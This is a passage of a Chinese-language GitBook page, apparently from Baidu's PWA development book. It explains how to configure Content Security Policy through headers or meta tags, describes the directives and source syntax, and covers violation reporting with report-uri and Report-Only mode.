&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x5C5E;&#x6027;&#x914D;&#x7F6E;&#xFF0C;&#x4ECE;&#x800C;&#x5B9E;&#x73B0;&#x7CBE;&#x786E;&#x5730;&#x63A7;&#x5236;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x884C;&#x4E3A;&#x3002;&#x5F00;&#x53D1;&#x8005;&#x53EA;&#x9700;&#x8981;&#x5C06;&#x7279;&#x5B9A;&#x7684;&#x5C5E;&#x6027;&#xFF0C;&#x7EC4;&#x5408;&#x6210;&#x4E00;&#x6761;&#x6709;&#x6548;&#x7684;&#x5B89;&#x5168;&#x7B56;&#x7565;&#x5B57;&#x7B26;&#x4E32; policy&#xFF0C;&#x7136;&#x540E;&#x6307;&#x5B9A; Content-Security-Policy &#x5934;&#x90E8;&#x5373;&#x53EF;&#x4F7F;&#x7528;&#xFF0C;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy:</span> policy\n</code></pre>\n<p><a href=\"http://caniuse.com/#search=CSP\" target=\"_blank\">caniuse</a> &#x63D0;&#x4F9B;&#x4E86;&#x76EE;&#x524D;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; CSP &#x7684;&#x652F;&#x6301;&#x60C5;&#x51B5;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E0D;&#x652F;&#x6301; CSP &#x7684;&#x6D4F;&#x89C8;&#x5668;&#x4EE5;&#x53CA;&#x672A;&#x63D0;&#x4F9B; CSP &#x5934;&#x90E8;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x5C06;&#x9ED8;&#x8BA4;&#x4E3A;&#x7F51;&#x9875;&#x5185;&#x5BB9;&#x4F7F;&#x7528;&#x6807;&#x51C6;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x3002;</p>\n<h3 id=\"&#x542F;&#x7528;-csp\"><a name=\"&#x542F;&#x7528;-csp\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x542F;&#x7528;-csp\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x542F;&#x7528;-csp\" class=\"plugin-anchor\" href=\"#&#x542F;&#x7528;-csp\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x542F;&#x7528; CSP</h3>\n<p>&#x6709;&#x4E24;&#x79CD;&#x65B9;&#x6CD5;&#x914D;&#x7F6E;&#x5E76;&#x542F;&#x7528; CSP</p>\n<p>1.&#x8BBE;&#x7F6E; HTTP &#x5934;&#x7684; Content-Security-Policy &#x5B57;&#x6BB5;&#xFF08;&#x65E7;&#x7248; X-Content-Security-Policy&#xFF09;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy:</span> script-src &apos;self&apos;; object-src &apos;none&apos;;style-src cdn.example.org third-party.org; child-src https://other.com\n</code></pre>\n<p>2.&#x8BBE;&#x7F6E;&#x9875;&#x9762;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">http-equiv</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>Content-Security-Policy<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>script-src &apos;self&apos;; object-src &apos;none&apos;; style-src cdn.example.org third-party.org; child-src https://other.com<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x4E24;&#x79CD;&#x4E0D;&#x540C;&#x7684;&#x65B9;&#x5F0F;&#x5236;&#x5B9A;&#x4E86;&#x540C;&#x4E00;&#x4E2A; CSP &#x7B56;&#x7565;&#xFF0C;&#x8BE5;&#x7B56;&#x7565;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x4E9B;&#x9650;&#x5236;&#xFF0C;&#x8BBE;&#x7F6E;&#x4E86; script-src: &apos;self&apos;&#xFF0C;&#x53EA;&#x4FE1;&#x4EFB;&#x5F53;&#x524D;&#x57DF;&#x540D;&#x4E0B;&#x7684;&#x811A;&#x672C;&#xFF0C;&#x540C;&#x65F6;&#x4F7F;&#x7528; object-src: &apos;none&apos;&#xFF0C;&#x4E0D;&#x5141;&#x8BB8;&#x52A0;&#x8F7D;&#x4EFB;&#x4F55;&#x63D2;&#x4EF6;&#x8D44;&#x6E90;&#xFF08;&#x5982;object, embed, applet &#x7B49;&#x6807;&#x7B7E;&#x5F15;&#x5165;&#x7684; flash &#x7B49;&#x63D2;&#x4EF6;&#xFF09;&#xFF0C;&#x518D;&#x4F7F;&#x7528; style-src &#x5C5E;&#x6027;&#x9650;&#x5236;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x53EA;&#x80FD;&#x6765;&#x81EA; <code>cdn.example.org</code> &#x548C; <code>third-party.org</code>&#xFF0C;&#x6B64;&#x5916;&#x8FD8;&#x7528; child-src &#x9650;&#x5B9A; iframe &#x7684;&#x6765;&#x6E90;&#x5FC5;&#x987B;&#x662F; <code>https://other.com</code>&#x3002;</p>\n<p>&#x9664;&#x4E86;&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x4F7F;&#x7528;&#x7684;&#x5C5E;&#x6027;&#x4E4B;&#x5916;&#xFF0C;CSP &#x63D0;&#x4F9B;&#x4E86;&#x5F88;&#x591A;&#x53EF;&#x914D;&#x7F6E;&#x7684;&#x9009;&#x9879;&#x6765;&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x8FDB;&#x884C;&#x9650;&#x5236;&#xFF0C;&#x5E38;&#x89C1;&#x7684;&#x6709;&#xFF0C;</p>\n<ul>\n<li>child-src&#xFF1A;&#x9650;&#x5236; iframe &#x53CA; worker &#x7EBF;&#x7A0B;&#x7684;&#x6765;&#x6E90;&#xFF0C;&#x66FF;&#x4EE3;&#x5DF2;&#x5F03;&#x7528;&#x7684; frame-src</li>\n<li>connect-src&#xFF1A;&#x9650;&#x5236; XHR&#x3001;WebSockets &#x548C; EventSource &#x8FDE;&#x63A5;&#x7684;&#x6765;&#x6E90;</li>\n<li>font-src&#xFF1A;&#x6307;&#x5B9A;&#x5B57;&#x4F53;&#x6587;&#x4EF6;&#x7684;&#x6765;&#x6E90;</li>\n<li>img-src&#xFF1A;&#x9650;&#x5B9A;&#x56FE;&#x50CF;&#x6765;&#x6E90;</li>\n<li>media-src&#xFF1A;&#x9650;&#x5B9A;&#x5A92;&#x4F53;&#x6587;&#x4EF6;&#xFF08;&#x97F3;&#x9891;&#x548C;&#x89C6;&#x9891;&#xFF09;&#x7684;&#x6765;&#x6E90;</li>\n<li>object-src&#xFF1A;&#x63D2;&#x4EF6;&#xFF08;&#x6BD4;&#x5982; Flash&#xFF09;&#x6765;&#x6E90;</li>\n<li>report-uri&#xFF1A;&#x7528;&#x4E8E;&#x6307;&#x5B9A;&#x5728;&#x8FDD;&#x53CD;&#x7B56;&#x7565;&#x65F6;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x9001;&#x62A5;&#x544A;&#x7684;&#x5730;&#x5740;&#x3002;&#x6B64;&#x6307;&#x4EE4;&#x4E0D;&#x80FD;&#x7528;&#x4E8E; <meta> &#x6807;&#x8BB0;&#x3002;</li>\n<li>script-src&#xFF1A;&#x9650;&#x5B9A;&#x811A;&#x672C;&#x7684;&#x6765;&#x6E90;</li>\n<li>style-src&#xFF1A;&#x6837;&#x5F0F;&#x8868;</li>\n<li>manifest-src&#xFF1A;manifest &#x6587;&#x4EF6;</li>\n</ul>\n<p>&#x6BCF;&#x4E2A;&#x914D;&#x7F6E;&#x9879;&#x7684;&#x6E90;&#x5217;&#x8868;&#x662F;&#x4E00;&#x4E2A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x6307;&#x5B9A;&#x4E86;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x4E3B;&#x673A;&#xFF08;&#x4F7F;&#x7528;&#x57DF;&#x540D;&#x6216; IP &#x5730;&#x5740;&#xFF09;&#x3001;&#x534F;&#x8BAE;&#x548C;&#x7AEF;&#x53E3;&#x53F7;&#x3002;&#x7AD9;&#x70B9;&#x5730;&#x5740;&#x548C;&#x7AEF;&#x53E3;&#x53F7;&#x90FD;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x901A;&#x914D;&#x7B26;&#x524D;&#x7F00; <code>*</code> &#x6765;&#x8868;&#x660E;&#x6240;&#x6709;&#x5408;&#x6CD5;&#x7AEF;&#x53E3;&#x90FD;&#x662F;&#x6709;&#x6548;&#x6765;&#x6E90;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4E3E;&#x51E0;&#x4E2A;&#x4F8B;&#x5B50;&#x6765;&#x8BF4;&#x660E;&#xFF1A;</p>\n<pre class=\"language-\"><code>http://*.example.com\n</code></pre><p>&#x5339;&#x914D;&#x6240;&#x6709;&#x4F7F;&#x7528; http &#x534F;&#x8BAE;&#x52A0;&#x8F7D; <code>example.com</code> &#x7684;&#x5B50;&#x57DF;&#x540D;&#x3002;</p>\n<pre class=\"language-\"><code>mail.example.com:443\n</code></pre><p>&#x5339;&#x914D;&#x6240;&#x6709;&#x8BBF;&#x95EE; <code>mail.example.com</code> &#x7684; 443 &#x7AEF;&#x53E3;&#x7684;&#x6E90;&#x3002;</p>\n<pre class=\"language-\"><code>https://store.example.com\n</code></pre><p>&#x5339;&#x914D; <code>store.example.com</code> &#x4E0B;&#x6240;&#x6709;&#x4F7F;&#x7528; HTTPS &#x534F;&#x8BAE;&#x7684;&#x8D44;&#x6E90;&#x3002;</p>\n<p>&#x6CE8;&#x610F;&#xFF0C;&#x5982;&#x679C;&#x7AEF;&#x53E3;&#x53F7;&#x6CA1;&#x6709;&#x88AB;&#x6307;&#x5B9A;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x4F7F;&#x7528;&#x6307;&#x5B9A;&#x534F;&#x8BAE;&#x7684;&#x9ED8;&#x8BA4;&#x7AEF;&#x53E3;&#x53F7;&#x3002;&#x5982;&#x679C;&#x534F;&#x8BAE;&#x6CA1;&#x6709;&#x88AB;&#x6307;&#x5B9A;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x4F7F;&#x7528;&#x8BBF;&#x95EE;&#x8BE5;&#x6587;&#x6863;&#x65F6;&#x7684;&#x534F;&#x8BAE;&#x3002;&#x9664;&#x6B64;&#x4E4B;&#x5916;&#xFF0C;&#x8FD8;&#x6709;&#x4E00;&#x4E9B;&#x5173;&#x952E;&#x5B57;&#x7684;&#x9009;&#x9879;&#xFF1A;</p>\n<ul>\n<li>&#x5173;&#x952E;&#x5B57; &apos;self&apos;&#xFF1A;&#x5F53;&#x524D;&#x57DF;&#x540D;&#xFF0C;&#x9700;&#x8981;&#x52A0;&#x5F15;&#x53F7;</li>\n<li>&#x5173;&#x952E;&#x5B57; &apos;none&apos;&#xFF1A;&#x7981;&#x6B62;&#x52A0;&#x8F7D;&#x4EFB;&#x4F55;&#x5916;&#x90E8;&#x8D44;&#x6E90;&#xFF0C;&#x9700;&#x8981;&#x52A0;&#x5F15;&#x53F7;</li>\n</ul>\n<p>&#x5982;&#x679C;&#x4E0D;&#x4E3A;&#x67D0;&#x6761;&#x914D;&#x7F6E;&#x8BBE;&#x7F6E;&#x5177;&#x4F53;&#x7684;&#x503C;&#xFF0C;&#x5219;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8BE5;&#x914D;&#x7F6E;&#x5728;&#x8FD0;&#x884C;&#x65F6;&#x8BA4;&#x4E3A;&#x4F60;&#x6307;&#x5B9A; <code>*</code> &#x4F5C;&#x4E3A;&#x6709;&#x6548;&#x6765;&#x6E90;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x4F60;&#x53EF;&#x4EE5;&#x4ECE;&#x4EFB;&#x610F;&#x4F4D;&#x7F6E;&#x52A0;&#x8F7D;&#x5B57;&#x4F53;&#xFF0C;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x9650;&#x5236;&#xFF09;&#x3002;&#x4E5F;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E; <code>default-src</code> &#x7684;&#x503C;&#xFF0C;&#x6765;&#x4EE3;&#x66FF;&#x5404;&#x4E2A;&#x9009;&#x9879;&#x7684;&#x9ED8;&#x8BA4;&#x503C;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x5C06; <code>default-src</code> &#x8BBE;&#x4E3A; <code>https://example.com</code>&#xFF0C;&#x5E76;&#x4E14;&#x6CA1;&#x6709;&#x6307;&#x5B9A; <code>font-src</code> &#x7684;&#x503C;&#xFF0C;&#x90A3;&#x4E48;&#x7AD9;&#x70B9;&#x5C06;&#x53EA;&#x5141;&#x8BB8;&#x52A0;&#x8F7D;&#x6765;&#x81EA; <code>https://example.com</code> &#x7684;&#x5B57;&#x4F53;&#x3002;&#x4E0D;&#x8FC7;&#x4E5F;&#x6709;&#x4E00;&#x4E9B;&#x9009;&#x9879;&#x4E0D;&#x4F7F;&#x7528; <code>default-src</code> &#x4F5C;&#x4E3A;&#x9ED8;&#x8BA4;&#x56DE;&#x9000;&#x503C;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#xFF0C;&#x4E0D;&#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#x7684;&#x8BDD;&#x5C31;&#x4F1A;&#x52A0;&#x8F7D;&#x4EFB;&#x4F55;&#x5185;&#x5BB9;&#x3002;&#x6BD4;&#x5982;&#xFF1A;</p>\n<ul>\n<li>base-uri</li>\n<li>form-action</li>\n<li>frame-ancestors</li>\n<li>plugin-types</li>\n<li>report-uri</li>\n<li>sandbox</li>\n</ul>\n<p>&#x8FD9;&#x91CC;&#x5BF9; CSP &#x7684;&#x5C5E;&#x6027;&#x5185;&#x5BB9;&#x4F5C;&#x4E86;&#x6BD4;&#x8F83;&#x5168;&#x9762;&#x7684;&#x4ECB;&#x7ECD;&#xFF1A;<a href=\"https://www.w3.org/TR/CSP/\" target=\"_blank\">https://www.w3.org/TR/CSP/</a>&#xFF0C;&#x503C;&#x5F97;&#x4E00;&#x63D0;&#x7684;&#x662F;&#xFF0C;&#x4F7F;&#x7528; CSP &#x65F6;&#x9700;&#x8981;&#x8003;&#x8651;&#x5230;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x517C;&#x5BB9;&#x6027;&#x7684;&#x60C5;&#x51B5;&#x53EF;&#x53C2;&#x9605;&#xFF1A;<a href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP#%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%BC%E5%AE%B9%E6%80%A7\" target=\"_blank\">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP#&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;</a>&#x3002;</p>\n<h3 id=\"&#x53D1;&#x9001;&#x62A5;&#x544A;\"><a name=\"&#x53D1;&#x9001;&#x62A5;&#x544A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53D1;&#x9001;&#x62A5;&#x544A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53D1;&#x9001;&#x62A5;&#x544A;\" class=\"plugin-anchor\" href=\"#&#x53D1;&#x9001;&#x62A5;&#x544A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x53D1;&#x9001;&#x62A5;&#x544A;</h3>\n<p>&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8FDD;&#x80CC; CSP &#x7B56;&#x7565;&#x7684;&#x7AD9;&#x70B9;&#x5E76;&#x4E0D;&#x4F1A;&#x53D1;&#x9001;&#x62A5;&#x544A;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6307;&#x5B9A; <code>report-uri</code> &#x5C5E;&#x6027;&#xFF0C;&#x5E76;&#x63D0;&#x4F9B;&#x81F3;&#x5C11;&#x4E00;&#x4E2A; URI &#x5730;&#x5740;&#x53BB;&#x9012;&#x4EA4;&#x62A5;&#x544A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy:</span> default-src &apos;self&apos;; report-uri https://yourwebsite.com/csp/report\n</code></pre>\n<p>&#x62A5;&#x544A;&#x8BF7;&#x6C42;&#x5C06;&#x4EE5; POST &#x7684;&#x5F62;&#x5F0F;&#x53D1;&#x9001;&#xFF0C;&#x5305;&#x542B;&#x7684; JSON &#x683C;&#x5F0F;&#x6570;&#x636E;&#x6709;&#x4EE5;&#x4E0B;&#x5B57;&#x6BB5;&#xFF1A;</p>\n<ul>\n<li>document-uri&#xFF1A;&#x53D1;&#x751F;&#x8FDD;&#x89C4;&#x7684;&#x6587;&#x6863;&#x7684; URI&#x3002;</li>\n<li>referrer&#xFF1A;&#x8FDD;&#x89C4;&#x53D1;&#x751F;&#x5904;&#x7684;&#x6587;&#x6863;&#x5F15;&#x7528;&#xFF08;&#x5730;&#x5740;&#xFF09;&#x3002;</li>\n<li>blocked-uri&#xFF1A;&#x88AB; CSP &#x963B;&#x6B62;&#x7684;&#x8D44;&#x6E90; URI&#x3002;&#x5982;&#x679C;&#x88AB;&#x963B;&#x6B62;&#x7684; URI &#x6765;&#x81EA;&#x4E0D;&#x540C;&#x7684;&#x6E90;&#x800C;&#x975E;&#x6587;&#x6863; URI&#xFF0C;&#x90A3;&#x4E48;&#x88AB;&#x963B;&#x6B62;&#x7684;&#x8D44;&#x6E90; URI &#x4F1A;&#x88AB;&#x5220;&#x51CF;&#xFF0C;&#x4EC5;&#x4FDD;&#x7559;&#x534F;&#x8BAE;&#xFF0C;&#x4E3B;&#x673A;&#x548C;&#x7AEF;&#x53E3;&#x53F7;&#x3002;</li>\n<li>violated-directive&#xFF1A;&#x8FDD;&#x53CD;&#x7684;&#x7B56;&#x7565;&#x540D;&#x79F0;&#x3002;</li>\n<li>original-policy&#xFF1A;&#x5728; Content-Security-Policy HTTP &#x5934;&#x90E8;&#x4E2D;&#x6307;&#x660E;&#x7684;&#x539F;&#x59CB;&#x7B56;&#x7565;&#x3002;</li>\n</ul>\n<p>&#x503C;&#x5F97;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;<code>report-uri</code> &#x4E0D;&#x80FD;&#x5728; meta &#x4E2D;&#x8BBE;&#x7F6E;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x8BF7;&#x6C42;&#x5934;&#x4E2D;&#x6307;&#x5B9A;&#x624D;&#x4F1A;&#x751F;&#x6548;&#x3002;&#x6B64;&#x5916;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x53EA;&#x60F3;&#x5BF9;&#x5F53;&#x524D;&#x7F51;&#x7AD9;&#x505A;&#x4E00;&#x4E2A;&#x6D4B;&#x8BD5;&#xFF0C;&#x4EC5;&#x53D1;&#x9001;&#x4E0D;&#x7B26;&#x5408; CSP &#x7B56;&#x7565;&#x7684;&#x62A5;&#x544A;&#xFF0C;&#x800C;&#x4E0D;&#x5F3A;&#x5236;&#x6267;&#x884C;&#x9650;&#x5236;&#xFF0C;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E; <code>Content-Security-Policy-Report-Only</code> &#x8BF7;&#x6C42;&#x5934;&#x4EE3;&#x66FF; <code>Content-Security-Policy</code>&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Content-Security-Policy-Report-Only:</span> default-src &apos;self&apos;; ...; report-uri https://yourwebsite.com/csp/report;\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-https.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 7.1 使用 HTTPS 保护站点安全\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-policy.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 7.3 同源策略\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"7.2 内容安全策略\",\"level\":\"1.8.2\",\"depth\":2,\"next\":{\"title\":\"7.3 同源策略\",\"level\":\"1.8.3\",\"depth\":2,\"path\":\"chapter07/3-policy.md\",\"ref\":\"chapter07/3-policy.md\",\"articles\":[]},\"previous\":{\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"level\":\"1.8.1\",\"depth\":2,\"path\":\"chapter07/1-https.md\",\"ref\":\"chapter07/1-https.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter07/2-CSP.md\",\"mtime\":\"2019-06-19T10:37:42.392Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        